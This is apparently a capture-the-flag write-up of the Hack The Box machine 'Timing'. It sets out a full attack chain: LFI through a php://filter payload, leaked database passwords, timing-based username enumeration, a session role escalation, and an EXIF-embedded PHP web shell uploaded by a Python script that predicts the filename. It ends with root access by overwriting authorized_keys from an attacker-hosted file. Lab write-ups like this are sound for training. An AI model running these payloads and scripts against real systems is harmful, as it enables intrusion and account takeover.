Port - Enumeration
As always, we start by scanning the target machine’s open ports:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
└─$ rustscan -a timing.htb -- -sC -sV -oN port_scan
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 d2:5c:40:d7:c9:fe:ff:a8:83:c3:6e:cd:60:11:d2:eb (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6ADzomquiIRtawuW9q7/zghf1hv0AAFkbO79vcQkoaUG41EKKUfWdZAvSuQs/SfWcqFybWcfjUPfEzAZJAGQvlTIhZ1JY2fNklRVXPHtn7pa4x8ilt8EnknGefh3ZmlLod+RX+E7tU9uS8TWxZjfsWESVoIxTKmr+6p0mgPP8i166cpQWjdCOev+G8SoI42Yx53uMyy8j1f9FVun/59iQPrRCm3GvriULO9g3inWJXrSR//vu5v9Z4QxLS2uTQPLhkRr6jF4ATcd3PQJeEBAoZMim61pvb2rkFPnNyvZ7IaJtXk8+DxCjGK2QYEh4825oxk+EaYKBc4cTcRYBjQ/Z
| 256 18:c9:f7:b9:27:36:a1:16:59:23:35:84:34:31:b3:ad (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFTFC/194Ys9zdque1QtiNUgm1zDmvwpZyygR3joLJHC6pRTZtHR6+HwgJHBYC7k7OI8A5qqimTcibJNTFfyfj4=
| 256 a2:2d:ee:db:4e:bf:f9:3f:8b:d4:cf:b4:12:d8:20:f2 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAdZXeQCf1/rM6H0MCDVQ9d+24wwNti/hzCsKjyIpvmG
80/tcp open http syn-ack Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Simple WebApp
|_Requested resource was ./login.php
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
We get back the following result showing that two port are open:
- Port 22: SSH version 7.6p1
- Port 80: Apache version 2.4.29
Port 80
Checking out the running web service on port 80, we see the following website:
As we dont have any valid credentials for the login, let’s enumerate the web application. First, we start a directory/file discovery with e.g. dirbuster or feroxbuster. As we know that the login is a php file (login.php
), we can directly scan for further php files by appending the option -x php
.
1
2
3
4
5
6
7
8
9
10
11
┌──(kali㉿kali)-[~/HTB/machines/timing]
└─$ feroxbuster -u http://timing.htb -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php -d 1
200 115l 264w 3937c http://timing.htb/footer.php
302 0l 0w 0c http://timing.htb/header.php
200 0l 0w 0c http://timing.htb/image.php
302 0l 0w 0c http://timing.htb/index.php
200 177l 374w 5609c http://timing.htb/login.php
302 0l 0w 0c http://timing.htb/logout.php
302 0l 0w 0c http://timing.htb/profile.php
302 0l 0w 0c http://timing.htb/upload.php
This reveals many interesting php files. While we cannot access most of them yet, we are able to access image.php
. However, this simply returns an empty page.
This is mostly the case when the endpoint expects some parameters to be provided in the request. My immediate thought here was to fuzz for parameters and also test for LFI as those parameters are often vulnerable. For the fuzzing procedure i used wfuzz
:
1
2
3
4
5
6
7
8
9
10
11
12
13
└─$ wfuzz -u "http://timing.htb/image.php?FUZZ=../../../../../../../etc/passwd" --hw 0 -w /usr/share/seclists/Discovery/Web-Content/api/objects.txt
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://timing.htb/image.php?FUZZ=../../../../../../../etc/passwd
Total requests: 3132
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000897: 200 0 L 3 W 25 Ch "img"
There we go! We have indeed found a parameter that apparently is vulnerable to LFI. Let’s check the response in the browser.
Hmmm…. seems like some protection mechanisms are in place. Most likely it’s some kind of blacklist that detects the string ../
. But there are some ways to get rid of that e.g. with the php wrapper: Using following payload will base64-encode the response from the server and present it to us. This way we are also able to extract php files.
1
http://timing.htb/image.php?img=php://filter/convert.base64-encode/resource=/etc/passwd
And it works! We can see a response!
Base64-decoding this reveals that there is a user called aaron
.
1
aaron:x:1000:1000:aaron:/home/aaron:/bin/bash
Next step is to leak the php files of the web application. Maybe we can find some more clues on how to get valid credentials.
login.php
Repeating the same steps as above (substitute /etc/passwd
with /var/www/html/login.php
), we get access to the source code of login.php
. Here’s a snippet of the main part:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
...
function createTimeChannel()
{
sleep(1);
}
include "db_conn.php";
if (isset($_SESSION['userid'])){
header('Location: ./index.php');
die();
}
if (isset($_GET['login'])) {
$username = $_POST['user'];
$password = $_POST['password'];
$statement = $pdo->prepare("SELECT * FROM users WHERE username = :username");
$result = $statement->execute(array('username' => $username));
$user = $statement->fetch();
if ($user !== false) {
createTimeChannel();
if (password_verify($password, $user['password'])) {
$_SESSION['userid'] = $user['id'];
$_SESSION['role'] = $user['role'];
header('Location: ./index.php');
return;
}
}
$errorMessage = "Invalid username or password entered";
...
The code basically takes the username post parameter and makes a database request to see if this user exists. If this user exists, the function createTimeChannel()
is called. This function literally just sleeps for 1 second. Afterwards, the password_verify()
function is called to verify the provided password. So, due to the createTimeChannel, we get a 1 second delay in the response from the server if we correctly guess the username. This way, we can speed up our bruteforce attack for the username on the login page. Once we have the username, we can then fully focus on the password bruteforcing.
Additionally we get the information that there is file called db_conn.php
which gets included in the login.php. Let’s check this out.
db_conn.php
1
2
<?php
$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', '4_V3Ry_l0000n9_p422w0rd');
Great! A password for the database. Maybe we can use this for the login.
Login
So, we know that we get 1 sec delay if we correctly guess a username. Therefore i entered some random username iawhduioawhd
to get a baseline for the login duration. Afterwards I used a wordlist with common usernames and measured the timings. According to the output, the usernames admin
and aaron
exist. This is in accordance to our previous findings.
The next step is to try the found password 4_V3Ry_l0000n9_p422w0rd
for both users. But unfortunately, no success. I then tried the common things like admin
, root
, toor
etc as passwords (also for both users). I then randomly tried aaron
as password for the user aaron
as this is a common thing to use the username as password and to my surprise it worked! We now got access to the user dashboard!
Edit Profile
As we now have full access to the web app as a valid user, we are now able to access the Edit profile
page (update.php).
profile_update.php
Let’s look at the source code of the page (in the browser).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
...
<script src="js/profile.js"></script>
...
<div class="container">
<div class="row">
<div class="col-md-9 bg-light text-right">
<button type="button" onclick="updateProfile()" class="btn btn-primary">
Update
</button>
</div>
</div>
...
Here we can enter several values. If we press the Update
button, the js function updateProfile()
is called. This function is defined in js/profile.js
. So let’s see what the function does:
1
2
3
4
5
6
7
8
9
10
11
12
function updateProfile() {
var xml = new XMLHttpRequest();
xml.onreadystatechange = function () {
if (xml.readyState == 4 && xml.status == 200) {
document.getElementById("alert-profile-update").style.display = "block"
}
};
xml.open("POST", "profile_update.php", true);
xml.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xml.send("firstName=" + document.getElementById("firstName").value + "&lastName=" + document.getElementById("lastName").value + "&email=" + document.getElementById("email").value + "&company=" + document.getElementById("company").value);
}
Alright, so it takes our values that we provide in the textFields and sends a post request to profile_update.php
. As we have a way to leak the php source code, we can also see how our data is processed further:
profile_update.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<?php
include "auth_check.php";
$error = "";
if (empty($_POST['firstName'])) {
$error = 'First Name is required.';
} else if (empty($_POST['lastName'])) {
$error = 'Last Name is required.';
} else if (empty($_POST['email'])) {
$error = 'Email is required.';
} else if (empty($_POST['company'])) {
$error = 'Company is required.';
}
if (!empty($error)) {
die("Error updating profile, reason: " . $error);
} else {
include "db_conn.php";
$id = $_SESSION['userid'];
$statement = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$result = $statement->execute(array('id' => $id));
$user = $statement->fetch();
if ($user !== false) {
ini_set('display_errors', '1');
ini_set('display_startup_errors', '1');
error_reporting(E_ALL);
$firstName = $_POST['firstName'];
$lastName = $_POST['lastName'];
$email = $_POST['email'];
$company = $_POST['company'];
$role = $user['role'];
if (isset($_POST['role'])) {
$role = $_POST['role'];
$_SESSION['role'] = $role;
}
// dont persist role
$sql = "UPDATE users SET firstName='$firstName', lastName='$lastName', email='$email', company='$company' WHERE id=$id";
$stmt = $pdo->prepare($sql);
$stmt->execute();
$statement = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$result = $statement->execute(array('id' => $id));
$user = $statement->fetch();
// but return it to avoid confusion
$user['role'] = $role;
$user['6'] = $role;
echo json_encode($user, JSON_PRETTY_PRINT);
} else {
echo "No user with this id was found.";
}
As we’ve already seen in the profile.js
file, the profile_update.php
expects the POST parameters firstName
, lastName
, email
, company
. The role
is taken from the user session. But, according to the code, we can also provide a POST parameter role
. However, this role will not be persistently stored in the database but will only be changed for the current user session. Maybe we can somehow abuse this to change our role to something specific.
Let’s further investigate the existing php files such as upload.php
.
upload.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
include("admin_auth_check.php");
$upload_dir = "images/uploads/";
if (!file_exists($upload_dir)) {
mkdir($upload_dir, 0777, true);
}
$file_hash = uniqid();
$file_name = md5('$file_hash' . time()) . '_' . basename($_FILES["fileToUpload"]["name"]);
$target_file = $upload_dir . $file_name;
$error = "";
$imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));
if (isset($_POST["submit"])) {
$check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
if ($check === false) {
$error = "Invalid file";
}
}
// Check if file already exists
if (file_exists($target_file)) {
$error = "Sorry, file already exists.";
}
if ($imageFileType != "jpg") {
$error = "This extension is not allowed.";
}
if (empty($error)) {
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "The file has been uploaded.";
} else {
echo "Error: There was an error uploading your file.";
}
} else {
echo "Error: " . $error;
}
?>
Great! So we are somehow able to upload files to the server. This is probably the attack vector for the inital foothold. However, even though we are logged in, we cannot access the upload.php page. This is probably due to some checks in the admin_auth_check.php
which is included at the very beginning.
Let’s see what this file does.
admin_auth_check.php
1
2
3
4
5
6
7
include_once "auth_check.php";
if (!isset($_SESSION['role']) || $_SESSION['role'] != 1) {
echo "No permission to access this panel!";
header('Location: ./index.php');
die();
}
Ahh … so, we cannot access this page unless we have the role 1
. Luckily we already know a way to change our role!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /profile_update.php HTTP/1.1
Host: timing.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-type: application/x-www-form-urlencoded
Content-Length: 54
Origin: http://timing.htb
Connection: close
Referer: http://timing.htb/profile.php
Cookie: PHPSESSID=ekabd6uk4mjcs101nuk24p8o0m
firstName=hello&lastName=test2&email=test&company=test&role=1
Aaaand we can access it. Now we have to figure out how to bypass the checks for the upload. It seems like we can only upload jpg
files. This is checked by using pathinfo
and PATHINFO_EXTENSION
. This will prevent uploading files called ...jpg.php
as it will always check the very last extension. Also, it uses getimagesize()
to verify whether the file-type is also semantically correct (correct magic numbers included).
According to this article, we can bypass this by simply including our payload in the metadata fields of the jpg with a tool called exiftool
.
However, the remaining problem is that the filename is a hashed md5 value (inputs: uniqid()
and time()
) which is not predictable… or is it?
1
2
$file_hash = uniqid();
$file_name = md5('$file_hash' . time()) . '_' . basename($_FILES["fileToUpload"]["name"]);
The variable $file_hash
is set to the value returned from uniqid()
. Uniqid is a function that returns a unique id based on the current time in microseconds. Ufff … this seems hard to bruteforce.
The next part calculates the md5 hash.
1
md5('$file_hash' . time())
But wait a minute!! The input is not the variable $file_hash
but the string '$file_hash'
… oops. Someone put extra quotes around the variable. Since time()
is based on seconds since January 1 1970 00:00:00 GMT, we can actually predict the filename very well.
We simply have to measure the time before and after the request. Afterwards, we measure how long the request/response took and calculate all possible filenames based on the duration.
As the session expires after several minutes and it’s tedious work to re-do all the login, role change etc, I wrote a script that basically automates the whole procedure from the login till the access of the predicted filename (which is accessed through the LFI vulnerability):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import requests
import subprocess
import hashlib
import time
UPLOADED_FILENAME="index.jpg"
def generate_filenames(begin,end,filename):
filename_list = []
for timing in range(begin,end+5):
filename_list.append(hashlib.md5(b"$file_hash" + str(timing).encode()).hexdigest() + "_" + filename)
return filename_list
http_proxy = "http://127.0.0.1:8080"
proxyDict = {
"http":http_proxy
}
#login
print(f"[+] LOGGING IN")
s = requests.Session()
login_url = "http://timing.htb/login.php?login=true"
user_pass = "aaron"
data = {'user':user_pass, 'password':user_pass}
r = s.post(login_url, data=data)
#change user role to 1, such that upload.php can be accessed
print(f"[+] CHANGING USER ROLE")
change_role_url = "http://timing.htb/profile_update.php/"
data = {'firstName':'test','lastName':'test2','email':'test3','company':'test4','role':'1'}
r = s.post(change_role_url, data=data)
#upload file
print(f"[+] UPLOADING FILE")
upload_file_url = "http://timing.htb/upload.php/"
files = {'fileToUpload': open(UPLOADED_FILENAME,'rb')}
values = {'submit': 'UploadImage', 'tmp_name': "test"}
# take begin time here
begin = int(time.time())
r = s.post(upload_file_url, files=files, data=values)#, proxies=proxyDict, verify=False)
#take end time here
end = int(time.time())
#test if filename exists
print(f"[+] TESTING FILENAMES")
if r.text == 'The file has been uploaded.':
filename_list = generate_filenames(begin,end, UPLOADED_FILENAME)
for filename in filename_list:
response = s.get("http://timing.htb/images/uploads/" + filename)
if response.status_code == 200:
print(f"[+] Found file: {filename}")
r = s.get("http://timing.htb/image.php?img=images/uploads/" + filename)
print(r.text[:1000])
else:
print("[!!] Upload did not work.")
Next step is to include the command in the metadata of the jpg file. Here I chose DocumentName
as the field.
1
exiftool -DocumentName='<h1>Testing<br><?php system("id"); ?></h1>'
And finally we run the exploit:
There we go! We got RCE!
Initial Foothold
As we can now run arbitrary commands on the system, my first idea was to immediately establish a reverse shell such that I can conveniently interact with the system. However, it turned out this was not possible (at least i did not manage to successfully establish one). I then decided to use the script for skimming through the system. Maybe I could find some passwords or even ssh keys.
After several attempts and failures and stumbled upon something very interesting in the /opt
directory. There was a file called source-file-backup.zip
.
I unzipped the file … the new directory was called backup
.
I then checked what was inside this backup:
Hmmm … this looks like the hosted web application! BUT… there is a .git
file. Maybe there are some previous commits that contain sensitive information. Therefore I checked the git logs to get some more information about the previous commits.
Only 1 previous commit called init
… let’s reset our local files to the state of this commit:
And now let’s see what the inital content of the db_conn.php
file was (as the 2nd commit stated that db_conn was updated).
Ahhh!!! A different password than in the current state.
Maybe we can use the credentials aaron:S3cr3t_unGu3ss4bl3_p422w0Rd
to connect to the system via SSH.
It works! We got user access!
Privilege Escalation
Checking the typical things like SUID, sudo, capabilities etc, revealed that we are able to execute /usr/bin/netutils
.
Never heard of that. Let’s see what this is.
1
2
aaron@timing:~$ file /usr/bin/netutils
/usr/bin/netutils: Bourne-Again shell script, ASCII text executable
A shell script. Alright, then we can check out the code of it:
1
2
3
aaron@timing:~$ cat /usr/bin/netutils
#! /bin/bash
java -jar /root/netutils.jar
Meh … we dont have access to that. So we have to execute the program and see if we can find something.
1
2
3
4
5
6
7
aaron@timing:~$ sudo /usr/bin/netutils
netutils v0.1
Select one option:
[0] FTP
[1] HTTP
[2] Quit
Input >>
Alright, so we can apparently download something via FTP or HTTP. Looking at the ps aux
output in another shell, when we run option 0 or option 1, we can see that [0] FTP
uses the command wget -r ftp://<provided IP and filename>
and [1] HTTP
uses axel http://<provided IP and filename>
for downloading the provided file.
Great! We have several options to exploit this. Either we modify the .wgetrc
or .axelrc
files to specify the outputfile, such that we can overwrite the authorized_keys
file with our public ssh key OR we create a symlink to the authorized_keys file and overwrite the content with option 1:
I decided to go for the 2nd approach:
1
2
3
4
5
6
aaron@timing:~$ ln -s /root/.ssh/authorized_keys test
aaron@timing:~$ ls -la
total 36
...
lrwxrwxrwx 1 aaron aaron 21 Dec 22 10:58 test -> /root/.ssh/authorized_keys
...
On my local machine I then created a file called test
containing my public ssh key and hosted an HTTP server which makes this file remotely accessible.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
aaron@timing:~$ sudo netutils
netutils v0.1
Select one option:
[0] FTP
[1] HTTP
[2] Quit
Input >> 1
Enter Url: 10.10.14.33/test
Initializing download: http://10.10.14.33/test
File size: 563 bytes
Opening output file test
Server unsupported, starting from scratch with one connection.
Starting download
Downloaded 563 byte in 0 seconds. (5.48 KB/s)
Afterwards, I can connect to the machine as root via SSH.
PS: For approach 1, it would have been possible to configure the .wgetrc
file as following:
1
output_document = /root/.ssh/authorized_keys